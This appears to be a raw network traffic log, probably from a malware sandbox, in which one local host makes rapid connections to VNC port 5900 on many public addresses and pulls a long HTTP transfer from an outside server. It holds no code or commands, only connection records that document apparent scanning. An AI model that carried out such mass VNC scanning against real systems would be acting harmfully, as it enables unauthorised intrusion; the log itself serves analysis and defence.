Oct 30, 2018 14:45:43.580230951 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.589451075 CET	51794	5900	192.168.1.81	142.89.117.60
Oct 30, 2018 14:45:43.630883932 CET	51764	5900	192.168.1.81	146.72.125.198
Oct 30, 2018 14:45:43.635690928 CET	5900	51789	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.635797024 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.709686041 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.709764004 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.725564003 CET	51765	5900	192.168.1.81	132.228.171.115
Oct 30, 2018 14:45:43.725591898 CET	51766	5900	192.168.1.81	187.168.3.165
Oct 30, 2018 14:45:43.745794058 CET	51795	5900	192.168.1.81	185.120.174.81
Oct 30, 2018 14:45:43.757091999 CET	51796	5900	192.168.1.81	89.91.95.44
Oct 30, 2018 14:45:43.828496933 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.828818083 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.829049110 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.829123020 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:43.839595079 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.914365053 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:43.914500952 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.917742968 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:43.927503109 CET	51798	5900	192.168.1.81	135.246.155.170
Oct 30, 2018 14:45:43.927943945 CET	51767	5900	192.168.1.81	142.181.155.92
Oct 30, 2018 14:45:44.013257980 CET	5900	51762	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:44.038734913 CET	51799	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:44.043478012 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:44.044823885 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:44.044825077 CET	52925	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:44.044862032 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:44.044944048 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:44.044994116 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:44.057835102 CET	53	52925	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:44.092709064 CET	51800	5900	192.168.1.81	84.96.35.182
Oct 30, 2018 14:45:44.105683088 CET	51801	5900	192.168.1.81	143.150.208.224
Oct 30, 2018 14:45:44.131037951 CET	51768	5900	192.168.1.81	116.14.149.11
Oct 30, 2018 14:45:44.135309935 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.135426044 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:44.139478922 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.139576912 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:44.173482895 CET	5900	51793	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:44.173643112 CET	51793	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:44.240904093 CET	51769	5900	192.168.1.81	120.12.242.185
Oct 30, 2018 14:45:44.266973972 CET	51802	5900	192.168.1.81	132.38.228.61
Oct 30, 2018 14:45:44.333781004 CET	51770	5900	192.168.1.81	130.1.109.137
Oct 30, 2018 14:45:44.363239050 CET	51803	5900	192.168.1.81	118.28.62.188
Oct 30, 2018 14:45:44.372004986 CET	5900	51799	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:44.372061968 CET	51799	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:44.442936897 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.443278074 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.443614960 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:44.444408894 CET	51804	5900	192.168.1.81	104.105.58.170
Oct 30, 2018 14:45:44.537306070 CET	51771	5900	192.168.1.81	168.20.130.153
Oct 30, 2018 14:45:44.537455082 CET	51772	5900	192.168.1.81	105.233.191.56
Oct 30, 2018 14:45:44.660892963 CET	51805	5900	192.168.1.81	175.197.197.147
Oct 30, 2018 14:45:44.669164896 CET	51806	5900	192.168.1.81	179.181.226.54
Oct 30, 2018 14:45:44.740305901 CET	51773	5900	192.168.1.81	88.68.154.224
Oct 30, 2018 14:45:44.750895977 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.751178026 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.751230955 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:44.751281977 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:44.756756067 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:44.757281065 CET	51807	5900	192.168.1.81	102.165.159.75
Oct 30, 2018 14:45:44.833887100 CET	51774	5900	192.168.1.81	76.134.63.225
Oct 30, 2018 14:45:44.911304951 CET	51808	5900	192.168.1.81	169.214.80.55
Oct 30, 2018 14:45:45.037693024 CET	51775	5900	192.168.1.81	166.97.186.68
Oct 30, 2018 14:45:45.057148933 CET	5900	51797	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:45.057219028 CET	51797	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:45.062427998 CET	51809	5900	192.168.1.81	184.18.131.252
Oct 30, 2018 14:45:45.073338032 CET	51810	5900	192.168.1.81	45.71.124.135
Oct 30, 2018 14:45:45.131017923 CET	51777	5900	192.168.1.81	44.130.233.188
Oct 30, 2018 14:45:45.131078005 CET	51778	5900	192.168.1.81	69.25.1.196
Oct 30, 2018 14:45:45.148224115 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:45.148335934 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:45.163719893 CET	5900	51776	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:45.235901117 CET	51811	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:45.240233898 CET	51779	5900	192.168.1.81	169.140.170.50
Oct 30, 2018 14:45:45.265724897 CET	5900	51811	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:45.265830994 CET	51811	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:45.310434103 CET	49590	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:45.337249994 CET	53	49590	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:45.399566889 CET	51812	5900	192.168.1.81	122.185.22.115
Oct 30, 2018 14:45:45.427789927 CET	51780	5900	192.168.1.81	87.162.250.72
Oct 30, 2018 14:45:45.437051058 CET	51813	5900	192.168.1.81	116.68.60.158
Oct 30, 2018 14:45:45.537234068 CET	51781	5900	192.168.1.81	168.10.203.63
Oct 30, 2018 14:45:45.537298918 CET	51782	5900	192.168.1.81	153.121.183.179
Oct 30, 2018 14:45:45.591389894 CET	51814	5900	192.168.1.81	190.44.120.63
Oct 30, 2018 14:45:45.603162050 CET	51815	5900	192.168.1.81	174.202.173.243
Oct 30, 2018 14:45:45.631437063 CET	51783	5900	192.168.1.81	68.214.55.219
Oct 30, 2018 14:45:45.648042917 CET	51816	5900	192.168.1.81	177.20.109.186
Oct 30, 2018 14:45:45.740468025 CET	51784	5900	192.168.1.81	38.162.180.165
Oct 30, 2018 14:45:45.789165974 CET	51817	5900	192.168.1.81	200.174.244.51
Oct 30, 2018 14:45:45.833894014 CET	51785	5900	192.168.1.81	97.15.4.116
Oct 30, 2018 14:45:45.833961010 CET	51786	5900	192.168.1.81	112.3.21.180
Oct 30, 2018 14:45:45.927826881 CET	51788	5900	192.168.1.81	107.241.217.245
Oct 30, 2018 14:45:45.959546089 CET	51818	5900	192.168.1.81	76.18.81.93
Oct 30, 2018 14:45:46.037564039 CET	51790	5900	192.168.1.81	34.197.41.194
Oct 30, 2018 14:45:46.135215998 CET	51819	5900	192.168.1.81	57.193.168.23
Oct 30, 2018 14:45:46.171941996 CET	51820	5900	192.168.1.81	159.54.240.127
Oct 30, 2018 14:45:46.173456907 CET	54431	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:46.241029978 CET	51791	5900	192.168.1.81	40.204.32.104
Oct 30, 2018 14:45:46.241102934 CET	51792	5900	192.168.1.81	72.84.198.95
Oct 30, 2018 14:45:46.294625044 CET	53	54431	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:46.384587049 CET	51821	5900	192.168.1.81	54.130.21.125
Oct 30, 2018 14:45:46.411806107 CET	51822	5900	192.168.1.81	98.217.201.154
Oct 30, 2018 14:45:46.433626890 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.434681892 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.488600969 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488641977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488663912 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488687038 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488708019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488785028 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488794088 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.488923073 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488966942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.488987923 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.489013910 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.489090919 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.489142895 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.545909882 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.545984983 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546036959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546096087 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546108961 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546125889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546200037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546228886 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546257973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546286106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546292067 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546340942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546370029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546395063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546421051 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546426058 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546448946 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546487093 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546519995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546540022 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546549082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546582937 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546607971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546633959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.546639919 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546678066 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.546852112 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.547197104 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602298021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602334976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602355003 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602375984 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602435112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602458000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602479935 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602494955 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602502108 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602524042 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602545977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602566957 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602586985 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602608919 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602631092 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602653027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602657080 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602675915 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602726936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602746964 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602763891 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602787971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602808952 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602830887 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602834940 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602852106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602874041 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602893114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.602931976 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.602958918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.603028059 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.603039980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.603091955 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.603152037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.603351116 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.631344080 CET	51794	5900	192.168.1.81	142.89.117.60
Oct 30, 2018 14:45:46.657712936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.657763958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.657902002 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.657943010 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.657953024 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.657982111 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658025980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658055067 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658080101 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658122063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658184052 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658209085 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658235073 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658265114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658293009 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658320904 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658364058 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658401012 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658428907 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658449888 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658456087 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658483982 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658509970 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658535004 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658561945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658565998 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658591032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658617020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658643961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658672094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658694029 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658699989 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.658878088 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.658962965 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.659215927 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.659949064 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.713640928 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713690042 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713712931 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713736057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713758945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713779926 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713819027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713869095 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713896036 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713921070 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713946104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713970900 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.713978052 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.713999033 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714025021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714050055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714073896 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714098930 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714111090 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714123011 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714148998 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714174032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714198112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714199066 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714222908 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714247942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714277029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714306116 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714324951 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714351892 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714390993 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714397907 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714417934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.714479923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714632034 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.714845896 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.740046978 CET	51795	5900	192.168.1.81	185.120.174.81
Oct 30, 2018 14:45:46.770019054 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770077944 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770116091 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770140886 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770168066 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770195961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770214081 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770221949 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770250082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770277023 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770304918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770332098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770358086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770365953 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770385027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770411968 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770437956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770462990 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770464897 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770493031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770519972 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770548105 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770565987 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770576000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770605087 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770632029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770657063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770658970 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770688057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770714998 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770741940 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770761013 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770768881 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770797014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.770838976 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.770905972 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.771122932 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.825829029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.825908899 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.825953960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.825995922 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826029062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826057911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826071024 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826136112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826179028 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826224089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826235056 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826246977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826272964 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826312065 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826319933 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826337099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826383114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826404095 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826415062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826440096 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826464891 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826495886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826503038 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826535940 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826560974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826569080 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826586008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826610088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826636076 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826659918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826662064 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826685905 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826710939 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826744080 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826761007 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826771975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.826843977 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.826899052 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.827107906 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.827699900 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.834688902 CET	51796	5900	192.168.1.81	89.91.95.44
Oct 30, 2018 14:45:46.882313967 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882391930 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882417917 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882441998 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882529020 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.882688046 CET	80	51559	92.63.197.48	192.168.1.81
